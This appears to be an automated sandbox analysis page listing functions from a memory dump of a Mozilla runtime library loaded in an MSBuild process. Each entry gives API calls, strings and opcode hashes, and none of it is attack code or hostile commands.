Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 14ac393ae81d3107f7f4a3f3c8b53e2ab01b38f78e51eda27b1373a8e7957e0c
Instruction ID: ff88288ecad9bf17d02937d80363aa4ce9a0bb8dd902cd78c1a3e5001adcf104
Opcode Fuzzy Hash: 14ac393ae81d3107f7f4a3f3c8b53e2ab01b38f78e51eda27b1373a8e7957e0c
Instruction Fuzzy Hash: F8516474A08641CFD701CF1AC084E5ABBF1BF4A318F1AC28AD8595BB52D335E885CF92

Function 6CBCBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CBCBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CBCBE8F

Strings

0, xrefs: 6CBCBE5B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 0b4154032df004f01168e9b44e10477593330c97250c1df5e093beaf0b92c9db
Instruction ID: 0fd321daf970b3ba92cd0cb7fcc2709111347865533aa45b49c00b4932bb5fc2
Opcode Fuzzy Hash: 0b4154032df004f01168e9b44e10477593330c97250c1df5e093beaf0b92c9db
Instruction Fuzzy Hash: 0D418D71A09786CFC701CF38C481A9FBBE4EF8A348F008A1DF995A7611D73199598B93

Function 6CBCF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6CBCF19B

Part of subcall function 6CBED850: EnterCriticalSection.KERNEL32(?), ref: 6CBED904
Part of subcall function 6CBED850: LeaveCriticalSection.KERNEL32(?), ref: 6CBED971
Part of subcall function 6CBED850: memset.VCRUNTIME140(?,00000000,?), ref: 6CBED97B

mozalloc_abort.MOZGLUE(?), ref: 6CBCF209

Strings

d, xrefs: 6CBCF1F5

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: f6a1d008114269b631049e3e18a85eb11b2bf8dc0368c4a67eaa4517884609e3
Instruction ID: e2d87ed465f8001134a7062db129e19ea7deb87c8f8deb127e20d9eba96204af
Opcode Fuzzy Hash: f6a1d008114269b631049e3e18a85eb11b2bf8dc0368c4a67eaa4517884609e3
Instruction Fuzzy Hash: BE113632B0168986EB048F6899511EEB379DF8621CB16916DEC49AB712EB719A84C381

Function 6CC03CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC03D19
mozalloc_abort.MOZGLUE(?), ref: 6CC03D6C

Strings

d, xrefs: 6CC03D58

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 63922f0c59fa79b2bde6a1c24ff2ba68451f794c1d603415479ce61b101e64b6
Instruction ID: b822c7cb4b7b988525ca6d3716dc4f653c96b900658baf23e4b0ae9cb98d8514
Opcode Fuzzy Hash: 63922f0c59fa79b2bde6a1c24ff2ba68451f794c1d603415479ce61b101e64b6
Instruction Fuzzy Hash: 3E11B235F1478897DB009B69D8148ADB775EF96218B498258DC499B602FB32A984C350

Function 6CBD4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBD44B2,6CC4E21C,6CC4F7F8), ref: 6CBD473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBD474A

Strings

GetNtLoaderAPI, xrefs: 6CBD4744

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 5498d53aa82922b3bb011840fd88e6182ae7639286f428d7f89d0fdc431020f5
Instruction ID: bb9120315c4e9d00a388eec068053c038bc93853cbc53cb24f6eed6492a9dff0
Opcode Fuzzy Hash: 5498d53aa82922b3bb011840fd88e6182ae7639286f428d7f89d0fdc431020f5
Instruction Fuzzy Hash: A401B5757002548FDF04AF69C454A1D7BF9EB9B315B05C069E905DB300DB74E8018F92

Function 6CC26DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CC26E22
__Init_thread_footer.LIBCMT ref: 6CC26E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CC26E1D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 58ff088fa639cca0f8c814cbb759ad23b811a4667dd471c1862810dcd1ef98cb
Instruction ID: 38b8c3d0c349680af54447e3e14c6329cc0085f11c0a400c23c2fa24aa438c2f
Opcode Fuzzy Hash: 58ff088fa639cca0f8c814cbb759ad23b811a4667dd471c1862810dcd1ef98cb
Instruction Fuzzy Hash: FEF05235204680CFEB00ABE8C850AD67772A31331CF04C165C89087BA2FB64E51BCEB3

Function 6CBD9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CBD9EEF

Strings

NaN, xrefs: 6CBD9EC1
Infinity, xrefs: 6CBD9EB7

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7a3ad8e5f388b8cf485f5ad108bd2b3d96fd8dc5472cdbd1b333582aabfa4162
Instruction ID: 7f69169f990de89966625f2a024636a9fa20d551966143f40af1bcaf44233ecc
Opcode Fuzzy Hash: 7a3ad8e5f388b8cf485f5ad108bd2b3d96fd8dc5472cdbd1b333582aabfa4162
Instruction Fuzzy Hash: CCF0CD71A00282CFEB00EF98EA55B823371B30730DF21CAD8C5040BB41E7B5A55ACA82

Function 6CC25900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6CC451C8), ref: 6CC2591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6CC2592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6CC25915

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 51d78dff3eafe1ba640b6fda4ba4eb5a8f17fdcca0535c51e24167313f53b359
Instruction ID: 079cb8329d4f5ed9c51ec0fdc13d0aaa7787bb34d62ce5927ef589d33bf29e37
Opcode Fuzzy Hash: 51d78dff3eafe1ba640b6fda4ba4eb5a8f17fdcca0535c51e24167313f53b359
Instruction Fuzzy Hash: 6FE04F30205650FBDB01AB68C948B4A7FF8AB1332DF18C548E569D3AD2E3B9A8419791

Function 6CBDBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CBDBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CBDBEF5

Strings

cryptbase.dll, xrefs: 6CBDBEF0

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 8cde3a104228d9a1e325661d73df71d4e1fd46163ac88ce9dbb106b3eb575255
Instruction ID: 4973c046af8b3913769da5df3646cad273a83f4a8889a9a9a2ac42438425f3b3
Opcode Fuzzy Hash: 8cde3a104228d9a1e325661d73df71d4e1fd46163ac88ce9dbb106b3eb575255
Instruction Fuzzy Hash: 7AD0A932284A08EBCA00BAA08C0AF293BB8A702329F20C420F30984891C7B0A410CB80

Function 6CBC50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBC4E9C,?,?,?,?,?), ref: 6CBC510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBC4E9C,?,?,?,?,?), ref: 6CBC5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CBC5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CBC4E9C), ref: 6CBC5234

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 84eace41e215b2b2eccbc48ffeaf09fccf296edb4c5a55bb3baa6c431cd1e657
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 1791AD75A05656CFCB14CF08C890A5ABBA1FF99318B288688DC599F715D331FC46CBE2

Function 6CC008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CC00918
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CC009A6
EnterCriticalSection.KERNEL32(6CC4E7DC,?,00000000), ref: 6CC009F3
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CC00ACB

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c4d17493828c061421f5654b0c555f1f3a225dc2ba1f296404cdd1766de8730b
Instruction ID: 7cb10b12b4df51a63bc3743e3b8a5648261fc986b482445ad510ad1eb05c3d8d
Opcode Fuzzy Hash: c4d17493828c061421f5654b0c555f1f3a225dc2ba1f296404cdd1766de8730b
Instruction Fuzzy Hash: 1B511A367019548FEB04EF59C411B6A73B5EB82B38B27C13ED96597F80E732E84186D1

Function 6CC259C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6CBFE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6CC25A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6CBFE56A,?,|UrlbarCSSSpan), ref: 6CC25A5C
free.MOZGLUE(?), ref: 6CC25A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6CC25B9D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: de03bc1e3fce996c374e42bfa22589ddb9ace1b4ed115f44d488bc5d59547b1e
Instruction ID: c63de1d83b90b36a62a5f10a85f9c6afb6c090f8675535ecf4379744e97f6e9a
Opcode Fuzzy Hash: de03bc1e3fce996c374e42bfa22589ddb9ace1b4ed115f44d488bc5d59547b1e
Instruction Fuzzy Hash: 37514B70608740DFD701CF29C8C162BB7E5BF89318F04C96DE8999B646E778D945CB62

Function 6CC1B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B628

Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC190FF
Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CC1B2C9,?,?,?,6CC1B127,?,?,?,?,?,?,?,?,?,6CC1AE52), ref: 6CC1B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CC1B127,?,?,?,?,?,?,?,?), ref: 6CC1B74D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: a7e31d3a90234567324e1b7be74e7322411aeebeb0971450b4d873a0da612f46
Instruction ID: 2300b0027af688f6ac0b68e73b3f39d69be3b0252883d77f24dd7f024f14bfe9
Opcode Fuzzy Hash: a7e31d3a90234567324e1b7be74e7322411aeebeb0971450b4d873a0da612f46
Instruction Fuzzy Hash: 1E51D2B1A092168FDB14CF1AC9A075EB7B1FF85304F05856DC85AABB10E731E805CFA1

Function 6CC1DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CC0FF2A), ref: 6CC1DFFD

Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC190FF
Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC19108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC0FF2A), ref: 6CC1E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CC0FF2A), ref: 6CC1E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CC0FF2A), ref: 6CC1E0FE

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 7610641d3f8b3a9044ceaf036e46a0018c7dd2b5dec99f901ea882cc418d6232
Instruction ID: ee1c858c91a99d800b9bf48f759cf59f28a45e7bdc8cdc39e31d80f2f8f6e146
Opcode Fuzzy Hash: 7610641d3f8b3a9044ceaf036e46a0018c7dd2b5dec99f901ea882cc418d6232
Instruction Fuzzy Hash: 5C41D4B16082168FEB14CF6AC88435A77B2BB46308F25453DD516DBF40F732E906EB92

Function 6CC26180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CC261DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CC2622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC26250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC26292

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: b3b9fba0d917f4eabf1708977b29bec42a48fa689a4be5d351d558047be937c8
Instruction ID: 7c74613a0eeebad15e7b38ecc559c1a8a20641b15724e1a3379d69fd53d3278d
Opcode Fuzzy Hash: b3b9fba0d917f4eabf1708977b29bec42a48fa689a4be5d351d558047be937c8
Instruction Fuzzy Hash: 4831E971A00A0A8FDB04CF2CD8816AA73F9FF95308F118539D55AD7651FB35E558C760

Function 6CC16E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CC16EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CC16EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC16F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC16F5C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: fb4a8d6928eca4e84278d0d420dc47bbbd23eac710328c9db869425616b20dfe
Instruction ID: c390ef72ec15d357ffb088da97ba0ec4d5f6014cabbfd641a407f45e9c64c4fc
Opcode Fuzzy Hash: fb4a8d6928eca4e84278d0d420dc47bbbd23eac710328c9db869425616b20dfe
Instruction Fuzzy Hash: DB31E471A14A0A8FDB04CF2DC9807AA73F9EF85304F50823AD41AC7A61FB31E659D790

Function 6CC2B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CBD0A4D), ref: 6CC2B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CBD0A4D), ref: 6CC2B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CBD0A4D), ref: 6CC2B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CBD0A4D), ref: 6CC2B67F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 7eecd011bad685a7498054da26b3207aab13f6954615dc00f4b5070f75f0bf94
Instruction ID: 8f8df86bd4418bf86801d774c306a1cc483bfde197c2a6e2999d46fb8833e108
Opcode Fuzzy Hash: 7eecd011bad685a7498054da26b3207aab13f6954615dc00f4b5070f75f0bf94
Instruction Fuzzy Hash: 863104B1A006168FDB14DF58C854A5ABBF6FF80305F16C62AC8179B311EB36E915CBE0

Function 6CBFF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBFF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CBFF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CBFF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CBFF668

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 683dd0be1e35e95d2d343bd73d60506a703ddf0a7bfa7fb791bfbc7e8907c87f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 99313E71A00224AFCB14CF69DCC0A9E77F5EB84354B148539EA598BB04E631ED49CB90

Function 6CBC39A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

